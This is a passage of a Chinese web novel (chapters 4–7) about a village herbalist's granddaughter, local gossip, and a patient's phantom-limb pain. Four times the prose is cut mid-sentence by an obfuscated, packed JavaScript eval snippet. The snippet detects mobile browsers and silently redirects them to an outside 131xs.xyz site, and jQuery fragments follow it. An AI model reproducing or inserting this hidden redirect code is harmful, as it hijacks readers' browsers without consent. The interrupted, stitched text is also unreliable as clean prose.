沈万山没接钱,只是自顾自地吮了下筷子,然后又夹了两片丝瓜低声念叨一句:“别家的箩筐卖多少钱能记得,自家的药价就记不得。” 他还在埋怨当初儿子没有跟自己学医。 虽说他如今当上了村长前途坦荡,也带着村民过上了更好的日子,可他险些让这祖传的医术失传,还好后来生了个天赋极佳的闺女,这才让老爷子勉强原谅了他。 见他的手还悬着,沈万山便说道:“交给妙妙吧,以后咱家医馆的大事小情她说了算,她等过完年就二十四了,也该学着担起事儿了。” “哎!” 沈妙喜滋滋地应了一声,把钱收进了自己的口袋。 院子里晒的药材大部分都是她上山摘的,不要钱,就算卖给城里的中药馆也就值个十块左右。 得亏陈婆子不知药价,这多出来的十块钱,就当做今天受了她陈家窝囊气的精神损失费吧。 给沈妙的碗里夹一块肉,王冬梅的脸上闪过几分不易觉察的情绪:“妙妙,你可想好了,真要开一辈子的医馆?” “想好了,”就着肉和菜汁往嘴里扒拉两口米饭,沈妙不假思索地回道,“老话不是说嘛,救人一命胜造七级浮屠,开医馆挺好的。” 给爹妈各夹了一筷子肉和菜,沈妙又说:“而且我就不是上学那块材料,能高中毕业就不错了,您就是再让我复读我也考不上大学。” 最后也给身边的爷爷舀了一勺鸡蛋和肉,“现在时代不一样了,除了读书之外行医也是一条出路,我就想像我爷这样有一身治病救人的好本事。”要是能偶尔听点八卦就更好了~ 当然,沈妙并没有说出后半句话,怕被骂。 沈万山很满意孙女的回答,虽然嘴上没说,却不住地点头。 行医之人就该有这样的觉悟,以治病救人、救死扶伤为己任,要是她的好奇心能少点那就更好了。 铛铛。 “老沈,老沈在家不?” 正吃着,门外忽然传来了一串敲门声。 声音有点耳熟。 沈妙起身去开门,扑面而来的是一股浓浓的肉香,“是妙妙啊,你们吃饭了没?” “徐叔好,”沈妙让开了身子,邀请男人进院,“刚吃上,坐下一起吃点啊。” 男人是徐凤的父亲徐国宝。 他的手里端着一碗冬瓜炖排骨,冬瓜没看到多少,汤也不够半碗,满满的全是手指长短的小排骨,都快要漫出来了。 徐国宝:“今天家里的排骨炖得多了,天热放不住,想着给你们加个菜。” 看到来的是徐国宝,王冬梅和沈山生也起身热情地招待他。 “快坐快坐。” “哎呀,炖多了多吃两顿就行,特意跑一趟多麻烦呀。要不添个碗一起吃点吧?” 他们两家平时几乎没什么来往,只是在村里见面时会打个招呼。虽然猜到这碗排骨可能是和陈婆子今天来闹事有关,却不知道具体是什么缘故。 沈万山知道。 沈万山吃饭快,沈妙他们碗里还有大半碗米呢,他就已经吃完了。 徐国宝:“不用忙了,我在家里刚吃完,给你们送来我就准备回去了。” 见徐国宝准备走,沈万山拿来一张椅子放在自己旁边,一边抖着烟丝一边跟他说道:“不急着回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647303|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,过来坐会,咱爷俩也聊聊天。” 徐国宝明白了他的意思,便没有拒绝,走过来坐在了他的旁边。 一开始,他们聊的是沈万山那一辈的往事,回忆老一辈的峥嵘岁月,等聊得差不多之后,沈万山才将话题转移到孩子们的身上。 “叔,当初小凤的事,还得谢谢您。” 摩挲着手里的水杯,徐国宝叹了一口气:“要不是您,小凤就真被那鳖孙给害了。” “过去的事就别提了,”这一声谢,沈万山自认是承担不起,“主要我也是外人,有些私事我不好拿到明面上说,所以……” 徐国宝:“是是是,我们都懂,您当时能提醒小凤,已经帮她够多的了。” 行医之人是最忌讳泄露病人隐私的,尤其是这方面的病,更不好随便告诉别人,这叫医德。 去年,陈富贵陪着徐凤来找沈万山,看她是不是也染上了自己的脏病,他这才旁敲侧击地暗示她,她的病和陈富贵不一样,她是碰了不干净的东西发炎,而陈富贵的病则是通过“那儿事”传染的。 还好徐凤听懂了他的暗示,不仅及时做好措施没有被传染,也想到了要离婚的退路。 徐凤是个聪明人,她知道这事传出去会影响到沈万山,所以直到离婚,她都没跟任何人透露一句,就连和陈婆子撕破脸时,也只是说陈富贵生不出孩子而已。 如果不是今天陈婆子非要问出个究竟,怕是没人会知道陈富贵的事。 陈婆子今天闹这么一出,算是自己揭了自己儿子的短。 “陈富贵这孬孙真不是个东西,明知道自己不是个男的,还非得作闹‘那儿事’,给小凤身上咬的啊,留了好几个疤。”提起陈富贵,徐国宝不禁又骂他一句。 可能天阉之人就是这样吧,无能只好狂怒。 “而且听小凤说,那孬孙结婚前就不规矩。”徐国宝又说。 沈万山点点头:“确实,清平村、咱村、清爻村、岔河村都有。” 正在吃饭的三口人同时停顿了一下。 嗯?这男的还有瓜? 等等……您又是怎么知道的? 徐国宝继续说道:“他还不止是咬人哩,还拧!还掐!” 幽幽地吐出一口烟圈,沈万山跟着点点头,并没有表现出丝毫惊讶,“还会拿擀面杖和笤帚把儿,哎呀,不堪说得很。” “你说,他咋会被教育成这样啊?” “上梁不正下梁歪,”沈万山将熄灭的烟丝倒了出来,蜘蛛吐丝般地说着自己早就知道的秘事,“小时候跟他爹妈学的,学得还不少哩。” 短短几句话的内容,把沈妙他们三口人震惊了一次又一次。 倒不是陈富贵的行为有多腌臜,而是老爷子这无所不知的回答和风轻云淡的态度……想不到啊,陈富贵的那些事情他竟然早就知道! 难怪今天陈家人撕扯起来时,他一直是一副不冷不热的表情,哪怕徐凤骂他是只“只会趴在人身上瞎拱的毛毛虫”都没反应,原来大家苦苦等待的瓜全都是他吃剩下的! 我的姨,我的爷,我的大脑变拖鞋。 爷爷啊!你是怎么能做到知道这么多的惊天大瓜,却能忍着不说的? 不能跟外人说也就算了,就连跟朝夕相处的自家人也憋得这么严实,一个字都不说啊! 5. 第 5 章 接连好几天,十里八乡都在议论着陈家的那一摊子事。 不仅陈富贵的瓜越扒越多,那位给他戴绿帽的新媳妇也是劣迹斑斑,稍微一打听,竟然有不少男的都认识她,至于是怎么认识的…… 而且,他们两口子离婚没有想着那么简单,新媳妇的娘家虽说是吃着商品粮的城里人,可也是一窝泼皮无赖:当爹的滥赌,当娘的酗酒,两个哥哥也是蹲过监狱的二流子。 他们才不管她给谁戴了绿帽子,只知道离婚就得分钱,不分个几百块决不罢休。 “啊……这也太过分了吧?!” 听着周婶子说着这出戏的后续,沈妙一边按摩着她腰上的痛处,一边惊叹道:“那陈婆子能愿意?” 周婶子也是清平村的人,住得离陈家不远,算是掌握一手瓜源的知情人。 周婶子前些天干活伤了腰,在家卧床休息,所以每天陈家发出点什么摔锅砸盆的动静,她都能第一时间知道。 前两天听见陈家好像有动手的声响,她硬是从床上爬起来趴墙角去听,结果不小心一摔……腰上的伤就更重了。 “当然不愿意了,嘶!轻点轻点……” 周婶子疼得龇牙咧嘴,扯起衣裳时,还不忘跟沈妙分享自己的亲眼所见,“陈婆子不给钱,那家人就硬把孩子塞给她,说是孩子出点什么好歹就上法院告她故意杀人,让她一家都蹲大牢。” 这真是张嘴嚼了个苍蝇,是死是活都恶心。 这么大的一顶“绿帽”陈婆子怎么可能愿意抱?可家里又没人会哄孩子,她又不得不硬着头皮,忙前忙后地伺候孩子的吃喝拉撒。 才过去了小半个月而已,陈婆子眼瞅着老了好几岁,头上的白发也添了许多。 “你这是腰肌劳损,气滞血瘀加上外伤,得好好养一段时间了。” 确定了周婶子疼痛的部位,又给她切了脉,沈妙一边说着一边在病历单上记录着,“内服外敷的药都给你开一点吧?地龙散配上温经通络膏,能好得快一点。” “好,你看着弄吧,只要能治好就行。” 沈妙:“一共五块钱,我去给你抓药。” “哎。” 从口袋里摸出放钱的红布包,周婶子慢悠悠从里面拿出几张一块的,随口问道:“你爷爷呢?怎么没见他陪你在医馆呆着?” 站在药柜子前调配着她的药,沈妙回说:“去别村出诊去了。” 以往沈万山只会在医馆病人不多的时候外出诊病,毕竟不是所有病人都能走这么远的路来清河村看病,为了能救治更多的人,沈万山尽己所能地走得远些。 就像是武侠小说里的江湖郎中一样,挎着一只小医箱,里面装着一些常用药,日出而行、日落而归,每天都会带回几张开的病历和药单,同时第二天将开好的药再带去。 幸好沈万山出诊去了,否则她像现在这么跟周婶子吃瓜,肯定又要挨戒尺的。 “你爷的身体真好,我上回见他时还能上树摘药哩,一点都不像是七十多的。”揉着腰疼的部位,周婶子不禁感叹道,“善有善报,你爷他攒了这么多福报,往后有的是享福的日子呢。” “好,承您的吉言啦!” 今天下了雨,没什么来看病的人。 想着没有人在排队,周婶子的腰又疼得不轻,沈妙便拿出了针灸包,主动提出道:“您要是不急着回去的话,我再给您灸几针,能缓解不少。” “好啊!谢谢你啊!” 趴在内堂里那张简易的木板床上,沈妙在一旁点起一盏酒精灯,一只手摸着她身上的穴位,另一只手熟练地将消过毒的银针刺下去。 沈妙从小就学针灸,每个穴位都记得滚瓜烂熟。 见她哼着歌扎针的轻松模样,周婶子还以为她是在拿自己练手,可当刺中的穴位正是自己疼痛的地方,酸酸麻麻的感觉在逐渐缓解时,她才相信沈妙确实有两把刷子在身上。 周婶子坐在木板床上,看到墙角放着一只落了灰的人体模型,脑海里又倏地闪出了另一个八卦。 “说起陈富贵,跟他一起去城里打工的徐志成命可就苦多了。” 嗯?是瓜味儿? 下完针正要灭灯的时候,沈妙拿灯帽的手不由得顿了一下,“谁?” “徐志成,比你大个六七岁,他娘原来是你们村的,后来嫁到岔河村了,他姥爷和他姥姥之前当过村长,他家太公是西北的,当初是逃难来了咱这地界儿。” 沈妙装作听懂地“哦”了一声。 她哪里是想知道徐志成的家谱,也不想他是谁,她想知道的是瓜,是瓜。 瞧周婶子这叹气的遗憾模样,直觉告诉她,这个徐志成身上肯定有大瓜! 沈妙稍稍停顿几秒后,才继续问道:“徐志成他咋了?” 即使内堂里没别人,周婶子还是故作神秘地压低了几分音量,“被鬼上身啦!” 沈妙:??? 听周婶子说,几年前附近这些村里的年轻人去城里打工,徐志成和陈富贵就是其中之一。 不过,徐志成和陈富贵可不一样,他是个顶老实的人,赚的钱全都寄给了家里的媳妇。 他媳妇王穗花也是个好女人,徐志成不在家,她就一个人撑起养家的重担,又要侍奉卧病的公婆,又要耕种家里的地,一个人当两个人使。 前年公婆去世,她也是尽心操办,人人都说她不是亲女儿、胜似亲女儿。 夫妻俩恩爱非常,即使王穗花一直没孩子,徐志成也没做过什么不规矩的事。 见周婶子半天都没说到正题上,沈妙忍不住追问道:“那咋会被鬼上身呢?到底咋回事啊?” “还能是为啥?在工地上碰到鬼了!” 周婶子不该去种地,应该去村口支个摊说书的,瞧她那声情并茂的架势,还有脸上丰富的表情,不去赚这份钱真是可惜了。 具体情况周婶子也不甚清楚,毕竟是岔河村的,她也是同人闲聊时听说的。 和陈富贵盖楼房不同,徐志成接的是盖学校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647304|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的活儿,豫市某大学要在东边扩建,他便和几十名附近村子的人一起组成了一个施工队。 听说学校都盖在坟地或是乱葬岗上,因为学校里的学生阳气重能压得住,不过在建成竣工之前,可就是阴气最重的地方了,再加上是在偏远的城郊…… “那天晚上说是徐志成在盖了一半的楼里巡夜,然后被鬼从楼上推了下去,还好有人听到他出事来救,这才捡回一条命,可惜还是断了一只脚。” 沈妙是不信神啊鬼啊这些事的。 瞧周婶子那手舞足蹈的架势吓人得很,可沈妙听起来却觉得像是徐志成自己低血糖,一时头晕才从楼上栽了下去。 毕竟要是真有鬼的话,直接把他拉下来做垫背不就好了,又何必还饶他一条命呢? “这还不算完,”周婶子稍稍偏过身,继续给她绘声绘色地描述,“自从徐志成回来后就被鬼上身了,每天晚上都会学鬼叫,据说好多人都听到过,可吓人了!” 沈妙听说过学猫叫、学狗叫,学鬼叫……等等,鬼是怎么叫的? “妙妙?出来帮我接下药箱。” 聊得正起劲,忽然听到院子里传来了爷爷的声音。 想来是出诊结束回来了。 “哎,马上,在堂里给人扎针呢。” 沈妙将周婶子身上的银针依次取下,同时赶紧收起了自己的好奇心,生怕被爷爷知道她和病患谈论别人的八卦。 “沈叔回来啦,”穿好衣服从内堂出来,周婶子揉了揉腰,顺手将沈妙给她包的药揣进了箩筐里,“妙妙给我治得也差不多,那啥,家里还有点事,我就先回去了。” 沈万山掸着衣服上的水珠,回道:“好,那你可得慢点,小心地上路滑。” “中。” 沈妙给沈万山拿来一条干毛巾,帮他擦着身上的水。接过药箱时,只觉得这箱子似乎比平常要重了许多。 “这几天雨也不带停的,算了,不出去跑了。”看着自己踩了一脚的泥,沈万山低声埋怨了一句。 沈妙跟着说道,“确实,等天气好点再出去吧,雨天路滑,您这么出去跑,我们也不放心。” 放下手里的毛巾,抬头时,沈万山挑了下花白的眉峰:“赶明你替我去,我留下坐诊。” 沈妙:??? “这,这下大雨的,我能去哪啊?” “南边的那个岔河村,”沈万山一边编着袖子一边淡声道,“一共就两家儿人,你把他们的药熬好了每天送去,再帮他们推拿一两个小时就行。” 还好,岔河村离得不远,也就区区十里地而已,走过去就全当锻炼身体了。 沈妙:“行,都哪两家?” “一家是二街十五户,李屠夫他家的老太太,老太太常年不下地,腿上的肉都枯雏(萎缩)了。” “一家是三街十一户,王穗花她男人,她男人断了腿还没恢复过来,得好好养着呢。” 等等,谁?王穗花她男人? 是徐志成?! 6. 第 6 章 “王穗花她男人是不是叫徐志成?” 沈万山反问道:“咋?你认识?” “没没没,”沈妙可不敢说自己是从周婶子那听说的,于是赶忙解释道,“他娘原来不是咱村的嘛,后来才嫁到岔河村的,他姥姥姥爷之前还是咱村的村长呢,忘了?” 还好周婶子说了徐志成他娘家的事,这才让她给糊弄了过去。 端起桌子上的搪瓷杯喝一口早上泡得茶,沈万山幽幽地叹了一声:“唉,年龄大了,哪能记住这么多事儿。” 下雨天天气潮,沈万山这一路回来箱子外面蒙了一层薄薄的水,于是沈妙便将药箱打开,把里面的物什都拿出来,免得捂了太久的潮气会发霉。 难怪箱子这么沉呢,里面除了一些药之外还有一只蓄电池和乱糟糟的一团线。 蓄电池是用来针灸用的,比起普通的针灸,通上电的银针治疗效果更出色,尤其是治一些陈年沉疴,微微的电流可以更好地刺激麻痹的穴位。 这是沈万山十来年前应邀去外地接诊,和几个当地大夫一起治病时相互交流学来的。 当时科技落后,他们只能用电池来通电,如今听说城里的中医院都有专业的电针仪了,不仅能够控制电流强弱,还能同时连接好多根针。 不过电针仪太贵了,沈万山可不舍得花那个钱,所以这么多年他一直都还是用可以充电的蓄电池来代替,便宜又省钱。 理着那一团铜线,沈妙试探地问道:“李奶奶瘫了好些年了,给她施电针能行吗?” “不是给她用的,是给徐志成用的。” 说着,沈万山忽然又想到了什么,于是走过来拿出了箱子里记录病历的小本子,翻到画着“△×成”的那一页,思索片刻后改了几味药的用量,同时又再后面添了几样。 虽然在写字时沈万山用的多半是圈圈、三角、方块和叉叉,不过从小跟着他学医的沈妙,很容易就能分辨出是哪些药材。 何首乌藤、龙骨、灵芝……这都是些用来安神养心的药材。 原本这副“天王补心丹”就是用来治疗心阴不足、失眠多梦的,加入了这几味药后,效果会更加明显。 沈万山:“明天你就按照这个单子给他抓。” “好。” 接过小本子,沈妙又瞧了一眼上面沈万山给出的诊断和分析:入夜后难以入眠,睡觉时经常被噩梦惊醒,气血不足、多思多忧、阴虚血少…… “爷,我记得电针不是治失眠的吧。”沈妙问道。 “是给他治脚的,”沈万山解释道,“他的脚断了,养了小半年也没啥起色,时不时还会疼,得用电针给他调调。” 因为明天要沈妙替自己出诊,为了她能更充分地了解病人的情况,沈万山便回到案前坐下,对她说道:“来,我再跟你交代点别的事。” 别的……事? “哎!” 沈妙应了一声,赶忙拉来一张椅子到他旁边。 难得啊,爷爷终于要抖搂一点他吃到的瓜了! 可当她兴致勃勃地侧耳倾听时,才发现是自己想得太多了…… 沈万山:“灸三阳交的时候把电开得高一点,复溜穴要最早下针,但是要最晚通电,时间不能太久,一点一点的,你得时刻注意着点。阳陵泉和承山要先用手指按摩一会,然后再下针……” 他交代的,全是电针灸时的“事”。 也对,依照爷爷这守口如瓶的性子,是不会谈论别人家的事的。 沈万山既然没说,沈妙自然不会多问,只是仔细记录着下针时的细节,不过她的好奇心同样没闲着,一直琢磨着一件很奇怪的事。 徐志成的脚断后养了小半年,按理说应该已经恢复了,又怎么会疼呢? 还有他每天晚上都难以入睡的症状……总不能真的是在“学鬼叫”吧。 “都记住没?” “记住了,”沈妙把记好的细节重新给他复述了一遍,“第一针先下复溜穴,然后……” 针灸的手法对沈妙来说没什么难度,让沈万山担心的是要给针通电的电流和时间。 平时用到电针灸治病的次数很少,沈妙虽然也亲自上手过几次,但大多数时间都是在一旁帮忙,再加上这次电针灸的穴位比较多,所以他不免要多嘱咐几句。 反反复复交代了许多遍,沈万山还是不放心,于是说道,“算了,明天还是咱俩一块去吧,等你能上手了再说。” 沈妙:…… 她怎么觉得爷爷并不是在担心自己的医术,担心自己手指下错了针,而是害怕自己把持不住医德,会探出耳朵打听八卦呢? * 第二天早上,过了八点,外面的天还是阴沉沉的。 连续下了几天的雨,温度都降低不少,出门要披上件外套才行。 清河村距离豫市还算近的,比起十年前一下雨就坑坑洼洼的土路,村里已经率先铺上了混合着碎石子的水泥路。 不像其他村子,虽然同样在时代的推动下铺上了水泥路,可没有被大型的机器反复碾压过,早就断成了一块块的石板,三不五时地再用水泥修复一下如同一件反复打补丁的旧衣裳。 雨天路滑,担心他们走路不安全,沈山生把家里的三轮车给腾了出来,这样也能省下不少力。 沈妙在前面蹬车,沈万山在后面撑伞,一路上听他聊着这些年各个村子的变化,约摸着半个多小时的功夫就来到了岔河村。 李屠夫要去豫市的早市上卖猪肉,媳妇照顾老太太也要忙活一早上,于是他们就先去了徐志成家。 “小王在家不?” 听到是沈万山那中气十足的声音,院里一前一后地传出了两声回应。 “哎。” “来了来了。” 开门的是个年龄看着三十出头的女人,她的手里握着一支炒菜勺,院子里满是浓浓的米汤香气,撒上一把青菜再卧里一个鸡蛋就是他们今天的早饭。 “这就是妙妙吧?常听沈叔提起你,呀,长得真齐整啊!” 沈妙脸上的小酒窝满是害羞,也主动向她道了一声“嫂子好”。 “吃了没?我再炒个菜,一块吃点?” “吃过了,不用忙活,”沈万山摆摆手,一边说一边往屋里走,“志成起来了没?身子咋样了。” 听到沈万山在关心自己,躺在屋里床上的男人也急着坐直了些:“好多了,已经好多了。” 说来,徐志成这一家也是可怜。 双方父母都已过了世,好不容易进城打工想过几天好日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647305|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,结果把脚给摔断了,非但没给家里带回来点钱,还把这些年攒的积蓄给花了个七七八八。 徐志成这晚上睡不着,腿还疼的毛病不好治,虽然村里一直有人介绍他们去找沈万山,但过去的小半年他们也不曾敲过沈家医馆的门。 因为没钱。 他们已经把亲戚都借遍了,现在身上还背着债,实在是看不起病了,所以只能忍着。 沈万山出诊时听说了他家的事,不仅主动上门替他诊治,还免了他们的药钱。 毕竟这点药才花几个钱?要是能治好他的病,撑起他的一个家,也算是值得了。 沈妙背着药箱一起走进了屋子,陈旧的摆设和那股酸朽的让她想起了小时候,都已经是家家户户都奔着好日子去的一九九六年了,他们家却像是被定格在了被抛弃的七十年代一样。 “这是你志成哥,这是你妹子,小名叫妙妙。”沈万山给他们相互介绍道,“以后就让她来给你做康复吧。” 沈妙:“志成哥好。” “哎,好,好好。”男人也客气地对她点点头。 徐志成长得浓眉大眼、长相憨厚,一看就是个老实人。 可惜,麻绳总挑细处断,厄运专找苦命人。 沈万山也不耽误功夫说什么客套话了,随意地坐在床边,顺手搭在了他左手的寸关尺处,一边感受他的脉搏,一边问道:“昨天吃完药睡得咋样?” 徐志成点点头:“前半夜挺好,后半夜还是会醒,不过腿好多了,没之前那么痛了。” “嗯,今天给你添了几味药,熬完吃着再试试,”换了一边手,沈万山又问,“除了晚上,平常白天腿疼的次数还多不?” “少了点,现在一天大概就有个六七次。” 听着他们的交谈,徐志成好像不止是失眠,而是经常做噩梦才会惊醒,在醒之后腿便会开始疼。 这好像不止是生理上的病,还有心理上的病。 沈万山点点头,对一旁的沈妙说道,“开始给他灸吧。” 沈妙:“好。” 打开针灸包,点上消毒的酒精灯,又将电线和蓄电池都提前链接好,随后,沈妙不急不缓地抽出一根针,消毒一番后刺入了指尖按压的复溜穴上。 “嘶,疼……” 针刚刺下去,徐志成就忍不住颤了一下。 “疼是正常的,别动,一会就好了。” “不是腿,”徐志成疼得直起身,“是脚,脚疼。” 脚? 看着他右边小腿下面空荡荡的部位,沈妙愣了一下:脚不是已经没了吗?哪里疼? “疼,好疼!不行不行,真的好疼!” 他不像是装的,才一会的功夫,额头就疼得出了冷汗,手臂上的汗毛也纷纷立了起来,还好一旁的王穗花和沈万山及时按住他,才没让他挣扎。 “别动。” 见他越来越疼,沈万山随手抽出一根针,走过去对准了他不存在的右脚干净利落地刺了下去。 “嗯。” 沈万山手里的针分明是刺在空气上,徐志成的身体却似乎感知到了那根针的力道,跟着抖了一下。 这离奇的一幕把沈妙给看傻了。 爷爷这是……一针扎在了鬼的脚上?! 7. 第 7 章 沈万山的手指来回捻搓着银针,就像是真的刺在皮肉上一般,将针尖慢慢推进了半寸。 而且,他并不是随便刺的一针,看位置是在右脚的第一跖趾关节处,正好是可以缓解脚痛的太白穴位置。 “好点了吗?” 看着沈万山手里的银针左右转动,徐志成耸起的肩膀稍稍放松了些许,深深地吸了一口气后,那股从虚无之中涌出的疼痛还真的舒缓了许多:“好,好多了。” 那一刻,沈妙的大脑真的宕机了。 爷爷的医术高超,她曾亲眼见过爷爷治好许多罕见的疑难杂症,可这凭空针灸止痛的本事……说真的,她还是第一次见。 而这一针,也让沈妙相信了周婶子的话:徐志成真的被鬼附身了! 否则他这并不存在的脚,怎么会有疼的感觉呢? 灸了一会后,沈万山又对照着他的左脚大小,找到了相应的太溪穴和昆仑穴。不过这次他没有针灸,而是用手指在那两处空气上反复揉捏。 “放轻松,别紧张,一会就好了……” 这句话不知是在安慰徐志成,还是安抚附身在他身上的鬼。 看着沈万山专注按摩的专注侧脸,那一刻,沈妙对爷爷的真实身份产生了怀疑。 爷爷不会就是电影里那些会抓鬼、抓妖、抓僵尸的道长吧…… 在沈万山这一番推拿下,约摸着几分钟的功夫之后,徐志成脚上那股突如其来的疼痛感便彻底消失了。 “愣着干啥?继续施针。”见沈妙站在一旁呆若木鸡,沈万山起身后随口催了她一句。 “哦哦。” 沈妙回了回神,随后又抽出了几根银针,依次扎在了他小腿的穴位上。 过去的几个月里,刚才那番情景曾经发生了很多次。王穗花手里特意备了一条毛巾,瞧那破烂又毛糙的表面,想来是经常被撕咬。 “叔,志成他这脚每晚都疼,真的没别的办法了吗?” “没办法,只能靠他自己挺过来。” “吃药也不行吗?” “没用,这就不是个病,既然不是病,吃药能有啥用?” “治是没得治,但能稍微缓缓。上次我教你按摩的几个穴位,你没事常给他按按,等过些天天气好了,试着让他下床走走,多晒晒太阳或许能恢复得快点。” “哎,谢谢叔。” 不是病、治不好、多晒太阳……听他们话里话外那意思,看来徐志成的身体里是真的有个鬼啊。 沈妙将针都施好后,便拿出了电线和蓄电池,准备通电灸一灸各个穴位。 把电线连接好,沈妙忽然想到了什么,于是扭头问道:“爷,你刚才给志成哥的脚上扎了一针,要不要也电一下?” 沈万山:??? 听到沈妙问出这句话,他的脸一下子就黑了:“你个二百五,你志成哥右脚都没了,通上电能治个球啊?!” 说完,又抬手在她的脑门上弹了一记脑瓜崩。 这一下可不比戒尺打得轻。 捂着自己被弹出一片红的脑门,沈妙委屈地“哦”了一声。 呜呜呜,凭什么!他能给“鬼”针灸止疼,自己就不能给“鬼”做个电疗了? 只许爷爷治鬼,不许孙女电脚是吧! 从徐志成家出来时是上午十一点,这都过去快一个小时了,沈妙额头上的那块红还是没褪下去,远远一看,跟观音旁边点了红痣的散财童女似的。 见沈妙只顾着蹬车,一句话不说,沈万山试着打开她的话匣子,问道:“还疼不?” “疼。” 脑门不疼,但心疼。 “活该。”沈万山不轻不重地回了她两个字。 沈妙:??? “明知道他右脚没了,还说通电给他灸,你这不是犯傻呢么?” 沈妙不服地加重了蹬车的力度:“那你不也拿针给他灸了。” “我是在给他治心,你是给他治个啥?”沈万山的语气看似是严厉的教训,却是在实打实地同她讲道理,“你这啥都治不了,不是在那闹笑话呢。” 徐志成的痛不在于身,在于心。 用老祖宗常说的那一套来解释,就是徐志成身体虽然是缺了一只脚,但是灵魂的那一部分还没消散,所以在没有□□承载的情况下,他就会感觉到疼痛。 这痛是不存在的,是心理上的痛,所以需要给他的心上来一“针”。 就像是看到别人不小心被拉链夹了肉,看到别人咬到舌头自己也会疼一样,让他看到自己不存在的那只脚被针灸,也能一定程度地缓解他心理上的疼痛。 而他小腿的酸痛和刺痛,则是因为他在截肢后,身体里经络的连续性被破坏,气血无法正常流通,不通则痛的缘故,所以才要用电针灸来治疗。 两种痛的原因不同,自然要用不同的方式来治疗。 听完沈万山的解释,沈妙这才醍醐灌顶般地点点头:“哦~所以志成哥他不是被鬼附身?单纯是断了脚之后,心里堵着想不开?” “哼,鬼附身?”沈万山轻哼一声,慢悠悠地拿出水壶喝着水,“我就知你是听他们村的谁又瞎球胡说了。” 糟糕,被发现了…… 想着徐志成以后也算是她的病人,沈万山也就不再隐瞒了,于是便把他所知道的情况一五一十地全部告诉了她。 徐志成坠楼不是被鬼推的,是被吓的。 具体是被什么吓到的,他也记不清楚了,因为摔下楼后磕到了头,医生说是脑震荡,所以那段记忆十分模糊,只记得是听到一个惨叫的声音,然后他便在逃跑时不小心掉下了楼。 也正是怎么都想不起看到了什么,所以他便经常做噩梦,而且每次从梦中惊醒时右脚都会疼。 这是心病,心病还须心药医,等他哪天能想起到底发生了什么,或许就好了。 了解完事情的经过后,沈妙又问:“爷,那你说这世上有鬼没?” “有啊,”沈万山回答得很肯定,“这世上有的是不怀好意、装神弄鬼的‘小鬼’,等你以后多治几个病人,什么样稀奇的‘小鬼’都能见得到。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647306|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听沈万山这么一说,沈妙瞬间更感兴趣了。 虽说“生意兴隆”这四个字不适合开医馆的,可她是真的想多见几个能把瓜送上门的“小鬼”啊! * 连续下了几天的雨后,终于迎来了明媚的日头。 偶尔有一阵风吹在身上,不冷不燥,温度刚刚好。 马上快入秋了,正是要农忙的时候,所以来医馆看病的人并不多。趁着晌午有空,沈妙便骑着车去给岔河村的徐志成和李奶奶做康复推拿。 徐志成家向来是没什么人来探望的,今天门口却停了一辆很招摇的摩托车。 “嫂子,我来给志成哥送药了。” 院门没关,沈妙进来时,正好碰上了端着水果从厨房出来的王穗花。 “快进来吧,你志成哥的领导也在屋里呢。” 领导? 跟着王穗花进屋时,扑面而来的是一股呛鼻的烟草味。 坐在徐志成旁边的男人正翘起二郎腿,嘴角叼着半根燃着的烟,吊儿郎当地跟他聊着天。 见王穗花身后跟着个二十出头的小姑娘,男人的眼光快速地在她身上打量了一番:“这是……” “这是来给我治病的妹子,叫妙妙。妙妙,这是我工地的领导,叫……” “叫哥,孔哥。”男人站起身把手在衣服上蹭了蹭,主动向沈妙伸出了手。 沈妙虽然第一印象对他不怎么好,但还是握住他的手,同他打了个招呼,“孔哥好。” 男人名叫孔祥明,说是领导,其实就是工地上的包工头,看他模样差不多四十出头,虽然身形不胖不瘦,一米七五的个子也不算低,但却像是刚从油缸里捞出一般腻得很。 虽说人不可貌相,但是沈妙的直觉告诉她,这个孔祥明不是什么好人 孔祥明是身为工地代表来慰问徐志成的,不仅带了水果还有鸡蛋和一些补品。 “既然要给志成看病的话,我就不打扰了,先走了啊。”孔祥明随手把烟头丢在地上,碾灭后说道。 